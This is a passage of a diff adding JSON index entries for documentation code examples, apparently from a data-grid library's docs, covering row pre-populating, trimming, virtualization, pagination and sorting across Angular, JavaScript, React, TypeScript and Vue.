+ ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-prepopulating", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/javascript/example1.ts", + "file": "guides__rows__row-prepopulating__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-prepopulating", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/vue/example1.vue", + "file": "guides__rows__row-prepopulating__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-prepopulating", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/angular/example2.ts", + "file": "guides__rows__row-prepopulating__angular__example2.ts.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example2", + "exampleTitle": "Spare rows with placeholder styling", + "docPermalink": "/row-prepopulating", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/javascript/example2.js", + "file": "guides__rows__row-prepopulating__javascript__example2.js.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example2", + "exampleTitle": "Spare rows with placeholder styling", + "docPermalink": "/row-prepopulating", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/react/example2.tsx", + "file": "guides__rows__row-prepopulating__react__example2.tsx.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example2", + "exampleTitle": "Spare rows with placeholder styling", + "docPermalink": "/row-prepopulating", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/javascript/example2.ts", + "file": "guides__rows__row-prepopulating__javascript__example2.ts.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example2", + "exampleTitle": "Spare rows with placeholder styling", + "docPermalink": "/row-prepopulating", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/vue/example2.vue", + "file": "guides__rows__row-prepopulating__vue__example2.vue.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example2", + "exampleTitle": "Spare rows with placeholder styling", + "docPermalink": "/row-prepopulating", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/angular/example3.ts", + "file": "guides__rows__row-prepopulating__angular__example3.ts.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example3", + "exampleTitle": "Auto-populating with template values", + "docPermalink": "/row-prepopulating", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/javascript/example3.js", + "file": "guides__rows__row-prepopulating__javascript__example3.js.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example3", + "exampleTitle": "Auto-populating with template values", + "docPermalink": "/row-prepopulating", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/react/example3.tsx", + "file": "guides__rows__row-prepopulating__react__example3.tsx.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example3", + "exampleTitle": "Auto-populating with template values", + "docPermalink": "/row-prepopulating", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/javascript/example3.ts", + "file": "guides__rows__row-prepopulating__javascript__example3.ts.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example3", + "exampleTitle": "Auto-populating with template values", + "docPermalink": "/row-prepopulating", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/vue/example3.vue", + "file": "guides__rows__row-prepopulating__vue__example3.vue.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example3", + "exampleTitle": "Auto-populating with template values", + "docPermalink": "/row-prepopulating", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-trimming/angular/example1.ts", + "file": "guides__rows__row-trimming__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row trimming" + ], + "guide": "guides/rows/row-trimming/row-trimming.md", + "guideTitle": "Row trimming", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-trimming", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-trimming/javascript/example1.js", + "file": "guides__rows__row-trimming__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row trimming" + ], + "guide": "guides/rows/row-trimming/row-trimming.md", + "guideTitle": "Row trimming", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-trimming", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-trimming/react/example1.tsx", + "file": "guides__rows__row-trimming__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row trimming" + ], + "guide": "guides/rows/row-trimming/row-trimming.md", + "guideTitle": "Row trimming", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-trimming", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-trimming/javascript/example1.ts", + "file": "guides__rows__row-trimming__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row trimming" + ], + "guide": "guides/rows/row-trimming/row-trimming.md", + "guideTitle": "Row trimming", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-trimming", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-trimming/vue/example1.vue", + "file": "guides__rows__row-trimming__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row trimming" + ], + "guide": "guides/rows/row-trimming/row-trimming.md", + "guideTitle": "Row trimming", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-trimming", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-virtualization/angular/example1.ts", + "file": "guides__rows__row-virtualization__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row virtualization" + ], + "guide": "guides/rows/row-virtualization/row-virtualization.md", + "guideTitle": "Row virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-virtualization", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-virtualization/javascript/example1.js", + "file": "guides__rows__row-virtualization__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row virtualization" + ], + "guide": "guides/rows/row-virtualization/row-virtualization.md", + "guideTitle": "Row virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-virtualization", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-virtualization/react/example1.tsx", + "file": "guides__rows__row-virtualization__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row virtualization" + ], + "guide": "guides/rows/row-virtualization/row-virtualization.md", + "guideTitle": "Row virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-virtualization", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-virtualization/javascript/example1.ts", + "file": "guides__rows__row-virtualization__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row virtualization" + ], + "guide": "guides/rows/row-virtualization/row-virtualization.md", + "guideTitle": "Row virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-virtualization", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-virtualization/vue/example1.vue", + "file": "guides__rows__row-virtualization__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row virtualization" + ], + "guide": "guides/rows/row-virtualization/row-virtualization.md", + "guideTitle": "Row virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-virtualization", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/angular/example1.ts", + "file": "guides__rows__rows-pagination__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/rows-pagination", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example1.js", + "file": "guides__rows__rows-pagination__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/rows-pagination", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/react/example1.tsx", + "file": "guides__rows__rows-pagination__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/rows-pagination", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example1.ts", + "file": "guides__rows__rows-pagination__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/rows-pagination", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/vue/example1.vue", + "file": "guides__rows__rows-pagination__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/rows-pagination", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/angular/example2.ts", + "file": "guides__rows__rows-pagination__angular__example2.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example2", + "exampleTitle": "Configure pagination", + "docPermalink": "/rows-pagination", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example2.js", + "file": "guides__rows__rows-pagination__javascript__example2.js.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example2", + "exampleTitle": "Configure pagination", + "docPermalink": "/rows-pagination", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/react/example2.tsx", + "file": "guides__rows__rows-pagination__react__example2.tsx.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example2", + "exampleTitle": "Configure pagination", + "docPermalink": "/rows-pagination", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example2.ts", + "file": "guides__rows__rows-pagination__javascript__example2.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example2", + "exampleTitle": "Configure pagination", + "docPermalink": "/rows-pagination", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/vue/example2.vue", + "file": "guides__rows__rows-pagination__vue__example2.vue.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example2", + "exampleTitle": "Configure pagination", + "docPermalink": "/rows-pagination", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/angular/example3.ts", + "file": "guides__rows__rows-pagination__angular__example3.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example3", + "exampleTitle": "Control pagination programmatically", + "docPermalink": "/rows-pagination", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example3.js", + "file": "guides__rows__rows-pagination__javascript__example3.js.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example3", + "exampleTitle": "Control pagination programmatically", + "docPermalink": "/rows-pagination", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/react/example3.tsx", + "file": "guides__rows__rows-pagination__react__example3.tsx.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example3", + "exampleTitle": "Control pagination programmatically", + "docPermalink": "/rows-pagination", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example3.ts", + "file": "guides__rows__rows-pagination__javascript__example3.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example3", + "exampleTitle": "Control pagination programmatically", + "docPermalink": "/rows-pagination", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/vue/example3.vue", + "file": "guides__rows__rows-pagination__vue__example3.vue.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example3", + "exampleTitle": "Control pagination programmatically", + "docPermalink": "/rows-pagination", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/angular/example4.ts", + "file": "guides__rows__rows-pagination__angular__example4.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example4", + "exampleTitle": "Choose where to display the pagination UI", + "docPermalink": "/rows-pagination", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example4.js", + "file": "guides__rows__rows-pagination__javascript__example4.js.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example4", + "exampleTitle": "Choose where to display the pagination UI", + "docPermalink": "/rows-pagination", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/react/example4.tsx", + "file": "guides__rows__rows-pagination__react__example4.tsx.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example4", + "exampleTitle": "Choose where to display the pagination UI", + "docPermalink": "/rows-pagination", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example4.ts", + "file": "guides__rows__rows-pagination__javascript__example4.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example4", + "exampleTitle": "Choose where to display the pagination UI", + "docPermalink": "/rows-pagination", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/vue/example4.vue", + "file": "guides__rows__rows-pagination__vue__example4.vue.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example4", + "exampleTitle": "Choose where to display the pagination UI", + "docPermalink": "/rows-pagination", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/angular/example5.ts", + "file": "guides__rows__rows-pagination__angular__example5.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example5", + "exampleTitle": "Modify paged data", + "docPermalink": "/rows-pagination", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example5.js", + "file": "guides__rows__rows-pagination__javascript__example5.js.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example5", + "exampleTitle": "Modify paged data", + "docPermalink": "/rows-pagination", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/react/example5.tsx", + "file": "guides__rows__rows-pagination__react__example5.tsx.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example5", + "exampleTitle": "Modify paged data", + "docPermalink": "/rows-pagination", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example5.ts", + "file": "guides__rows__rows-pagination__javascript__example5.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example5", + "exampleTitle": "Modify paged data", + "docPermalink": "/rows-pagination", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/vue/example5.vue", + "file": "guides__rows__rows-pagination__vue__example5.vue.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example5", + "exampleTitle": "Modify paged data", + "docPermalink": "/rows-pagination", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/angular/example6.ts", + "file": "guides__rows__rows-pagination__angular__example6.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example6", + "exampleTitle": "Localize pagination", + "docPermalink": "/rows-pagination", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example6.js", + "file": "guides__rows__rows-pagination__javascript__example6.js.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example6", + "exampleTitle": "Localize pagination", + "docPermalink": "/rows-pagination", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/react/example6.tsx", + "file": "guides__rows__rows-pagination__react__example6.tsx.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example6", + "exampleTitle": "Localize pagination", + "docPermalink": "/rows-pagination", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/javascript/example6.ts", + "file": "guides__rows__rows-pagination__javascript__example6.ts.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example6", + "exampleTitle": "Localize pagination", + "docPermalink": "/rows-pagination", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-pagination/vue/example6.vue", + "file": "guides__rows__rows-pagination__vue__example6.vue.json", + "breadcrumb": [ + "Rows", + "Rows pagination" + ], + "guide": "guides/rows/rows-pagination/rows-pagination.md", + "guideTitle": "Rows pagination", + "exampleId": "example6", + "exampleTitle": "Localize pagination", + "docPermalink": "/rows-pagination", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example10.ts", + "file": "guides__rows__rows-sorting__angular__example10.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example10", + "exampleTitle": "Sort by multiple columns programmatically (2)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example1.ts", + "file": "guides__rows__rows-sorting__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example2.ts", + "file": "guides__rows__rows-sorting__angular__example2.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example2", + "exampleTitle": "Enable sorting (2)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example3.ts", + "file": "guides__rows__rows-sorting__angular__example3.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example3", + "exampleTitle": "Sort different types of data (2)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example4.ts", + "file": "guides__rows__rows-sorting__angular__example4.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example4", + "exampleTitle": "Sort by multiple columns (2)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example5.ts", + "file": "guides__rows__rows-sorting__angular__example5.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example5", + "exampleTitle": "Set an initial multi-column sort order (2)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example6.ts", + "file": "guides__rows__rows-sorting__angular__example6.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example6", + "exampleTitle": "Add custom sort icons (2)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example7.ts", + "file": "guides__rows__rows-sorting__angular__example7.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example7", + "exampleTitle": "Add custom sort icons (4)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example8.ts", + "file": "guides__rows__rows-sorting__angular__example8.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example8", + "exampleTitle": "Exclude rows from sorting (2)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/angular/example9.ts", + "file": "guides__rows__rows-sorting__angular__example9.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "example9", + "exampleTitle": "Sort data programmatically (2)", + "docPermalink": "/rows-sorting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleCustomSortIcons3.js", + "file": "guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleCustomSortIcons3", + "exampleTitle": "Add custom sort icons (3)", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleCustomSortIcons3.tsx", + "file": "guides__rows__rows-sorting__react__exampleCustomSortIcons3.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleCustomSortIcons3", + "exampleTitle": "Add custom sort icons (3)", + "docPermalink": "/rows-sorting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleCustomSortIcons3.ts", + "file": "guides__rows__rows-sorting__javascript__exampleCustomSortIcons3.ts.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleCustomSortIcons3", + "exampleTitle": "Add custom sort icons (3)", + "docPermalink": "/rows-sorting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/vue/exampleCustomSortIcons3.vue", + "file": "guides__rows__rows-sorting__vue__exampleCustomSortIcons3.vue.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleCustomSortIcons3", + "exampleTitle": "Add custom sort icons (3)", + "docPermalink": "/rows-sorting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/javascript/exampleCustomSortIcons.js", + "file": "guides__rows__rows-sorting__javascript__exampleCustomSortIcons.js.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + "guideTitle": "Rows sorting", + "exampleId": "exampleCustomSortIcons", + "exampleTitle": "Add custom sort icons", + "docPermalink": "/rows-sorting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/rows-sorting/react/exampleCustomSortIcons.tsx", + "file": "guides__rows__rows-sorting__react__exampleCustomSortIcons.tsx.json", + "breadcrumb": [ + "Rows", + "Rows sorting" + ], + "guide": "guides/rows/rows-sorting/rows-sorting.md", + 